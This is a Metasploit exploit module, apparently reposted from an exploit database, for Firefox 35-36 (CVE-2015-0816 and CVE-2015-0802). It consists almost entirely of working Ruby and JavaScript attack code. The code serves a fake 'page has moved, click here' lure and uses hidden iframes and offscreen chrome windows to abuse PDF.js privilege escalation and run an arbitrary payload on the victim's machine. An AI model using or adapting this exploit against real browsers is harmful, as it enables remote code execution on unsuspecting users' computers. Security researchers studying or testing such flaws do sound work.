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# Firefox PDF.js Privileged Javascript Injection Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

def initialize(info={})
super(update_info(info,
'Name' => 'Firefox PDF.js Privileged Javascript Injection',
'Description' => %q{
This module gains remote code execution on Firefox 35-36 by abusing a
privilege escalation bug in resource:// URIs. PDF.js is used to exploit
the bug. This exploit requires the user to click anywhere on the page to
trigger the vulnerability.
},
'Author' => [
'Unknown', # PDF.js injection code was taken from a 0day
'Marius Mlynski', # discovery and pwn2own exploit
'joev' # copypasta monkey, CVE-2015-0802
],
'DisclosureDate' => "Mar 31 2015",
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-0816'], # pdf.js can load chrome://
['CVE', '2015-0802'] # can access messageManager property in chrome window
],
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(35, 36) }
}
))

register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
], self.class)
end

def on_request_exploit(cli, request, target_info)
print_status('Sending exploit...')
send_response_html(cli, html)
end

def html
"<!doctype html><html><body>#{datastore['CONTENT'] || default_html}"+
"<script>#{js}</script></body></html>"
end

def default_html
"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
end

def js
key = Rex::Text.rand_text_alpha(5 + rand(12))
frame = Rex::Text.rand_text_alpha(5 + rand(12))
r = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin

<<-EOJS
function xml2string(obj) {
return new XMLSerializer().serializeToString(obj);
}

function __proto(obj) {
return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
}

function get(path, callback, timeout, template, value) {
callback = _(callback);
if (template && value) {
callback = callback.replace(template, value);
}
js_call1 = 'javascript:' + _(function() {
try {
done = false;
window.onclick = function() {
if (done) { return; } done = true;
q = open("%url%", "q", "chrome,,top=-9999px,left=-9999px,height=1px,width=1px");
setTimeout(function(){
q.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';

setTimeout(function(){
var opts = #{JSON.unparse(opts)};
var key = opts['#{key}'];
q.messageManager.loadFrameScript('data:,'+key, false);
setTimeout(function(){
q.close();
}, 100)
}, 100)
}, 100);
}
} catch (e) {
history.back();
}
undefined;
}, "%url%", path);
js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined';
sandboxContext(_(function() {
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
l = p.__lookupSetter__.call(i2.contentWindow, 'location');
l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
}));
setTimeout((function() {
sandboxContext(_(function() {
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
l = p.__lookupSetter__.call(i2.contentWindow, 'location');
l.call(i2.contentWindow, window.wrappedJSObject.js_call2);
}));
}), timeout);
}

function get_data(obj) {
data = null;
try {
data = obj.document.documentElement.innerHTML;
if (data.indexOf('dirListing') < 0) {
throw new Error();
}
} catch (e) {
if (this.document instanceof XMLDocument) {
data = xml2string(this.document);
} else {
try {
if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') {
data = this.document.body.firstChild.textContent;
} else {
throw new Error();
}
} catch (e) {
try {
if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {;
return null;
} else {
throw new Error();
}
} catch (e) {
;;
}
}
}
}
return data;
}

function _(s, template, value) {
s = s.toString().split(/^\s*function\s+\(\s*\)\s*\{/)[1];
s = s.substring(0, s.length - 1);
if (template && value) {
s = s.replace(template, value);
}
s += __proto;
s += xml2string;
s += get_data;
s = s.replace(/\s\/\/.*\n/g, "");
s = s + ";undefined";
return s;
}

function get_sandbox_context() {
if (window.my_win_id == null) {
for (var i = 0; i < 20; i++) {
try {
if (window[i].location.toString().indexOf("view-source:") != -1) {
my_win_id = i;
break;
}
} catch (e) {}
}
};
if (window.my_win_id == null)
return;
clearInterval(sandbox_context_i);
object.data = 'view-source:' + blobURL;
window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,';
object.data = 'data:text/html,<'+'html/>';
window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+
'"position:absolute; left:-9999px;" onload = "'+_(function(){
window.wrappedJSObject.sandboxContext=(function(cmd) {
with(importFunction.constructor('return this')()) {
return eval(cmd);
}
});
}) + '"/>');
}

var HIDDEN = 'position:absolute;left:-9999px;height:1px;width:1px;';
var i = document.createElement("iframe");
i.id = "i";
i.style=HIDDEN;
i.src = "data:application/xml,<?xml version=\"1.0\"?><e><e1></e1></e>";
document.documentElement.appendChild(i);
i.onload = function() {
if (this.contentDocument.styleSheets.length > 0) {
var i2 = document.createElement("iframe");
i2.id = "i2";
i2.style='opacity: 0;position:absolute;top:0;left:0;right:0;bottom:0;';
i2.height = window.innerHeight+'px';
i2.width = window.innerWidth+'px';
i2.src = "data:application/pdf,";
document.documentElement.appendChild(i2);
pdfBlob = new Blob([''], {
type: 'application/pdf'
});
blobURL = URL.createObjectURL(pdfBlob);
object = document.createElement('object');
object.style=HIDDEN;
object.data = 'data:application/pdf,';
object.onload = (function() {
sandbox_context_i = setInterval(get_sandbox_context, 200);
object.onload = null;
object.data = 'view-source:' + location.href;
return;
});
document.documentElement.appendChild(object);
} else {
this.contentWindow.location.reload();
}
}

document.body.style.height = window.innerHeight+'px';

var kill = setInterval(function() {
if (window.sandboxContext) {
var f = "chrome://browser/content/browser.xul";
get(f, function() {}, 0, "%URL%", f);
clearInterval(kill);
} else {
return;
}
},20);

EOJS
end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-09-10]

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